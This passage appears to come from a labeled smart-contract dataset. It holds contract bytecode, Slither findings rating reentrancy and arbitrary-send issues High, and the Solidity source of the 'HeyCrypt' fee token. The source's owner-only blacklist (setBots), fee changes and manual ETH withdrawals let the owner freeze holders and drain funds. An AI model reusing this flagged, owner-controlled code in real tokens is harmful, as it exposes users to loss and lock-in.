fffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118b15750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ba57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119655750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119bb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119d35750600f60179054906101000a900460ff165b15611a745742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2357600080fd5b603c42611a309190613136565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a7f30610766565b9050600f60159054906101000a900460ff16158015611aec5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b045750600f60169054906101000a900460ff165b15611b2c57611b1281611dbe565b60004790506000811115611b2a57611b2947611c55565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bd55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bdf57600090505b611beb8484848461210b565b50505050565b6000838311158290611c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c309190612e5e565b60405180910390fd5b5060008385611c489190613217565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ca56002846120c190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cd0573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d216002846120c190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d4c573d6000803e3d6000fd5b5050565b6000600654821115611d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8e90612ea0565b60405180910390fd5b6000611da1612138565b9050611db681846120c190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611df657611df56133ec565b5b604051908082528060200260200182016040528015611e245781602001602082028036833780820191505090505b5090503081600081518110611e3c57611e3b6133bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ede57600080fd5b505afa158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1691906128a5565b81600181518110611f2a57611f296133bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f9130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611267565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ff595949392919061301b565b600060405180830381600087803b15801561200f57600080fd5b505af1158015612023573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561205957600090506120bb565b6000828461206791906131bd565b9050828482612076919061318c565b146120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad90612f20565b60405180910390fd5b809150505b92915050565b600061210383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612163565b905092915050565b80612119576121186121c6565b5b6121248484846121f7565b80612132576121316123c2565b5b50505050565b60008060006121456123d4565b9150915061215c81836120c190919063ffffffff16565b9250505090565b600080831182906121aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a19190612e5e565b60405180910390fd5b50600083856121b9919061318c565b9050809150509392505050565b60006008541480156121da57506000600954145b156121e4576121f5565b600060088190555060006009819055505b565b60008060008060008061220987612436565b95509550955095509550955061226786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122fc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234881612546565b6123528483612603565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123af9190613000565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea00000905061240a683635c9adc5dea000006006546120c190919063ffffffff16565b82101561242957600654683635c9adc5dea00000935093505050612432565b81819350935050505b9091565b60008060008060008060008060006124538a60085460095461263d565b9250925092506000612463612138565b905060008060006124768e8787876126d3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bf1565b905092915050565b60008082846124f79190613136565b90508381101561253c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253390612ee0565b60405180910390fd5b8091505092915050565b6000612550612138565b90506000612567828461204690919063ffffffff16565b90506125bb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126188260065461249e90919063ffffffff16565b600681905550612633816007546124e890919063ffffffff16565b6007819055505050565b600080600080612669606461265b888a61204690919063ffffffff16565b6120c190919063ffffffff16565b905060006126936064612685888b61204690919063ffffffff16565b6120c190919063ffffffff16565b905060006126bc826126ae858c61249e90919063ffffffff16565b61249e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ec858961204690919063ffffffff16565b90506000612703868961204690919063ffffffff16565b9050600061271a878961204690919063ffffffff16565b9050600061274382612735858761249e90919063ffffffff16565b61249e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061276f61276a846130b5565b613090565b9050808382526020820190508285602086028201111561279257612791613420565b5b60005b858110156127c257816127a888826127cc565b845260208401935060208301925050600181019050612795565b5050509392505050565b6000813590506127db81613736565b92915050565b6000815190506127f081613736565b92915050565b600082601f83011261280b5761280a61341b565b5b813561281b84826020860161275c565b91505092915050565b6000813590506128338161374d565b92915050565b6000815190506128488161374d565b92915050565b60008135905061285d81613764565b92915050565b60008151905061287281613764565b92915050565b60006020828403121561288e5761288d61342a565b5b600061289c848285016127cc565b91505092915050565b6000602082840312156128bb576128ba61342a565b5b60006128c9848285016127e1565b91505092915050565b600080604083850312156128e9576128e861342a565b5b60006128f7858286016127cc565b9250506020612908858286016127cc565b9150509250929050565b60008060006060848603121561292b5761292a61342a565b5b6000612939868287016127cc565b935050602061294a868287016127cc565b925050604061295b8682870161284e565b9150509250925092565b6000806040838503121561297c5761297b61342a565b5b600061298a858286016127cc565b925050602061299b8582860161284e565b9150509250929050565b6000602082840312156129bb576129ba61342a565b5b600082013567ffffffffffffffff8111156129d9576129d8613425565b5b6129e5848285016127f6565b91505092915050565b600060208284031215612a0457612a0361342a565b5b6000612a1284828501612824565b91505092915050565b600060208284031215612a3157612a3061342a565b5b6000612a3f84828501612839565b91505092915050565b600060208284031215612a5e57612a5d61342a565b5b6000612a6c8482850161284e565b91505092915050565b600080600060608486031215612a8e57612a8d61342a565b5b6000612a9c86828701612863565b9350506020612aad86828701612863565b9250506040612abe86828701612863565b9150509250925092565b6000612ad48383612ae0565b60208301905092915050565b612ae98161324b565b82525050565b612af88161324b565b82525050565b6000612b09826130f1565b612b138185613114565b9350612b1e836130e1565b8060005b83811015612b4f578151612b368882612ac8565b9750612b4183613107565b925050600181019050612b22565b5085935050505092915050565b612b658161325d565b82525050565b612b74816132a0565b82525050565b6000612b85826130fc565b612b8f8185613125565b9350612b9f8185602086016132b2565b612ba88161342f565b840191505092915050565b6000612bc0602383613125565b9150612bcb82613440565b604082019050919050565b6000612be3602a83613125565b9150612bee8261348f565b604082019050919050565b6000612c06602283613125565b9150612c11826134de565b604082019050919050565b6000612c29601b83613125565b9150612c348261352d565b602082019050919050565b6000612c4c601d83613125565b9150612c5782613556565b602082019050919050565b6000612c6f602183613125565b9150612c7a8261357f565b604082019050919050565b6000612c92602083613125565b9150612c9d826135ce565b602082019050919050565b6000612cb5602983613125565b9150612cc0826135f7565b604082019050919050565b6000612cd8602583613125565b9150612ce382613646565b604082019050919050565b6000612cfb602483613125565b9150612d0682613695565b604082019050919050565b6000612d1e601783613125565b9150612d29826136e4565b602082019050919050565b6000612d41601183613125565b9150612d4c8261370d565b602082019050919050565b612d6081613289565b82525050565b612d6f81613293565b82525050565b6000602082019050612d8a6000830184612aef565b92915050565b6000604082019050612da56000830185612aef565b612db26020830184612aef565b9392505050565b6000604082019050612dce6000830185612aef565b612ddb6020830184612d57565b9392505050565b600060c082019050612df76000830189612aef565b612e046020830188612d57565b612e116040830187612b6b565b612e1e6060830186612b6b565b612e2b6080830185612aef565b612e3860a0830184612d57565b979650505050505050565b6000602082019050612e586000830184612b5c565b92915050565b60006020820190508181036000830152612e788184612b7a565b905092915050565b60006020820190508181036000830152612e9981612bb3565b9050919050565b60006020820190508181036000830152612eb981612bd6565b9050919050565b60006020820190508181036000830152612ed981612bf9565b9050919050565b60006020820190508181036000830152612ef981612c1c565b9050919050565b60006020820190508181036000830152612f1981612c3f565b9050919050565b60006020820190508181036000830152612f3981612c62565b9050919050565b60006020820190508181036000830152612f5981612c85565b9050919050565b60006020820190508181036000830152612f7981612ca8565b9050919050565b60006020820190508181036000830152612f9981612ccb565b9050919050565b60006020820190508181036000830152612fb981612cee565b9050919050565b60006020820190508181036000830152612fd981612d11565b9050919050565b60006020820190508181036000830152612ff981612d34565b9050919050565b60006020820190506130156000830184612d57565b92915050565b600060a0820190506130306000830188612d57565b61303d6020830187612b6b565b818103604083015261304f8186612afe565b905061305e6060830185612aef565b61306b6080830184612d57565b9695505050505050565b600060208201905061308a6000830184612d66565b92915050565b600061309a6130ab565b90506130a682826132e5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130d0576130cf6133ec565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314182613289565b915061314c83613289565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131815761318061335f565b5b828201905092915050565b600061319782613289565b91506131a283613289565b9250826131b2576131b161338e565b5b828204905092915050565b60006131c882613289565b91506131d383613289565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320c5761320b61335f565b5b828202905092915050565b600061322282613289565b915061322d83613289565b9250828210156132405761323f61335f565b5b828203905092915050565b600061325682613269565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ab82613289565b9050919050565b60005b838110156132d05780820151818401526020810190506132b5565b838111156132df576000848401525b50505050565b6132ee8261342f565b810181811067ffffffffffffffff8211171561330d5761330c6133ec565b5b80604052505050565b600061332182613289565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133545761335361335f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61373f8161324b565b811461374a57600080fd5b50565b6137568161325d565b811461376157600080fd5b50565b61376d81613289565b811461377857600080fd5b5056fe42616279476572616c64466f7264207c20742e6d652f42616279476572616c64466f726445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209bbda263b778037b6a15a4e540c61bea2b79f54e313e881afdc09c272159556564736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,964 |
0x9234583f63a2976a9c6690e1866971c8a99f5f7d | /*
__ __ ______ __ __ ______ ______ __ __ ______ ______
/\ \_\ \ /\ ___\ /\ \_\ \ /\ ___\ /\ == \ /\ \_\ \ /\ == \ /\__ _\
\ \ __ \ \ \ __\ \ \____ \ \ \ \____ \ \ __< \ \____ \ \ \ _-/ \/_/\ \/
\ \_\ \_\ \ \_____\ \/\_____\ \ \_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\
\/_/\/_/ \/_____/ \/_____/ \/_____/ \/_/ /_/ \/_____/ \/_/ \/_/
*/
//https://t.me/heycryptmessenger
//https://heycrypt.io
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HeyCrypt is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tfee;
uint256 private _mfee;
uint256 private _sellFee;
uint256 private _buyFee;
address payable private _feeAddress;
string private constant _name = unicode"HeyCrypt";
string private constant _symbol = unicode"HeyCrypt";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingStarted;
bool private inSwap = false;
bool private swapEnable = false;
bool private removeMaxTxn = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxHeldAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxHeldAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_buyFee = 10;
_sellFee = 12;
_feeAddress = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTxn(bool onoff) external onlyOwner() {
removeMaxTxn = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_tfee = 0;
_mfee = _buyFee;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTxn) {
uint walletBalance = balanceOf(address(to));
require(amount <= _maxTxAmount);
require(amount.add(walletBalance) <= _maxHeldAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_tfee = 0;
_mfee = _sellFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnable) {
uint burnAmount = contractTokenBalance/6;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount , uint256 maxHeldAmount) external onlyOwner() {
if (maxTxAmount > 300000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
_maxHeldAmount = maxHeldAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingStarted,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnable = true;
removeMaxTxn = true;
_maxTxAmount = 300000000000 * 10**9;
_maxHeldAmount = 1000000000000 * 10**9;
tradingStarted = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tfee, _mfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setFee(uint256 buyFee, uint256 sellFee)external onlyOwner() {
if (sellFee <= _sellFee && buyFee <= _buyFee) {
_buyFee = buyFee;
_sellFee = sellFee;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb1461030b578063b515566a1461032b578063c3c8cd801461034b578063c9567bf914610360578063dd62ed3e1461037557600080fd5b8063715018a614610299578063733ec069146102ae5780638da5cb5b146102ce57806395d89b411461012f5780639e78fb4f146102f657600080fd5b80632b51106a116100e75780632b51106a14610208578063313ce5671461022857806352f7c988146102445780636fc3eaec1461026457806370a082311461027957600080fd5b806306fdde031461012f578063095ea7b31461016f57806318160ddd1461019f57806323b872dd146101c6578063273123b7146101e657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082018252600881526712195e50dc9e5c1d60c21b6020820152905161016691906118a9565b60405180910390f35b34801561017b57600080fd5b5061018f61018a366004611727565b6103bb565b6040519015158152602001610166565b3480156101ab57600080fd5b5069152d02c7e14af68000005b604051908152602001610166565b3480156101d257600080fd5b5061018f6101e13660046116e6565b6103d2565b3480156101f257600080fd5b50610206610201366004611673565b61043b565b005b34801561021457600080fd5b5061020661022336600461181f565b61048f565b34801561023457600080fd5b5060405160098152602001610166565b34801561025057600080fd5b5061020661025f366004611859565b6104d7565b34801561027057600080fd5b50610206610529565b34801561028557600080fd5b506101b8610294366004611673565b610560565b3480156102a557600080fd5b50610206610582565b3480156102ba57600080fd5b506102066102c9366004611859565b6105f6565b3480156102da57600080fd5b506000546040516001600160a01b039091168152602001610166565b34801561030257600080fd5b5061020661063c565b34801561031757600080fd5b5061018f610326366004611727565b61087b565b34801561033757600080fd5b50610206610346366004611753565b610888565b34801561035757600080fd5b5061020661091a565b34801561036c57600080fd5b5061020661095a565b34801561038157600080fd5b506101b86103903660046116ad565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c8338484610b31565b5060015b92915050565b60006103df848484610c55565b610431843361042c85604051806060016040528060288152602001611a95602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f43565b610b31565b5060019392505050565b6000546001600160a01b0316331461046e5760405162461bcd60e51b8152600401610465906118fe565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104b95760405162461bcd60e51b8152600401610465906118fe565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105015760405162461bcd60e51b8152600401610465906118fe565b600b5481111580156105155750600c548211155b1561052557600c829055600b8190555b5050565b6000546001600160a01b031633146105535760405162461bcd60e51b8152600401610465906118fe565b4761055d81610f7d565b50565b6001600160a01b0381166000908152600260205260408120546103cc90610fb7565b6000546001600160a01b031633146105ac5760405162461bcd60e51b8152600401610465906118fe565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106205760405162461bcd60e51b8152600401610465906118fe565b681043561a882930000082111561052557601091909155601155565b6000546001600160a01b031633146106665760405162461bcd60e51b8152600401610465906118fe565b600f54600160a01b900460ff16156106c05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610465565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072057600080fd5b505afa158015610734573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107589190611690565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a057600080fd5b505afa1580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d89190611690565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082057600080fd5b505af1158015610834573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108589190611690565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103c8338484610c55565b6000546001600160a01b031633146108b25760405162461bcd60e51b8152600401610465906118fe565b60005b8151811015610525576001600660008484815181106108d6576108d6611a45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091281611a14565b9150506108b5565b6000546001600160a01b031633146109445760405162461bcd60e51b8152600401610465906118fe565b600061094f30610560565b905061055d8161103b565b6000546001600160a01b031633146109845760405162461bcd60e51b8152600401610465906118fe565b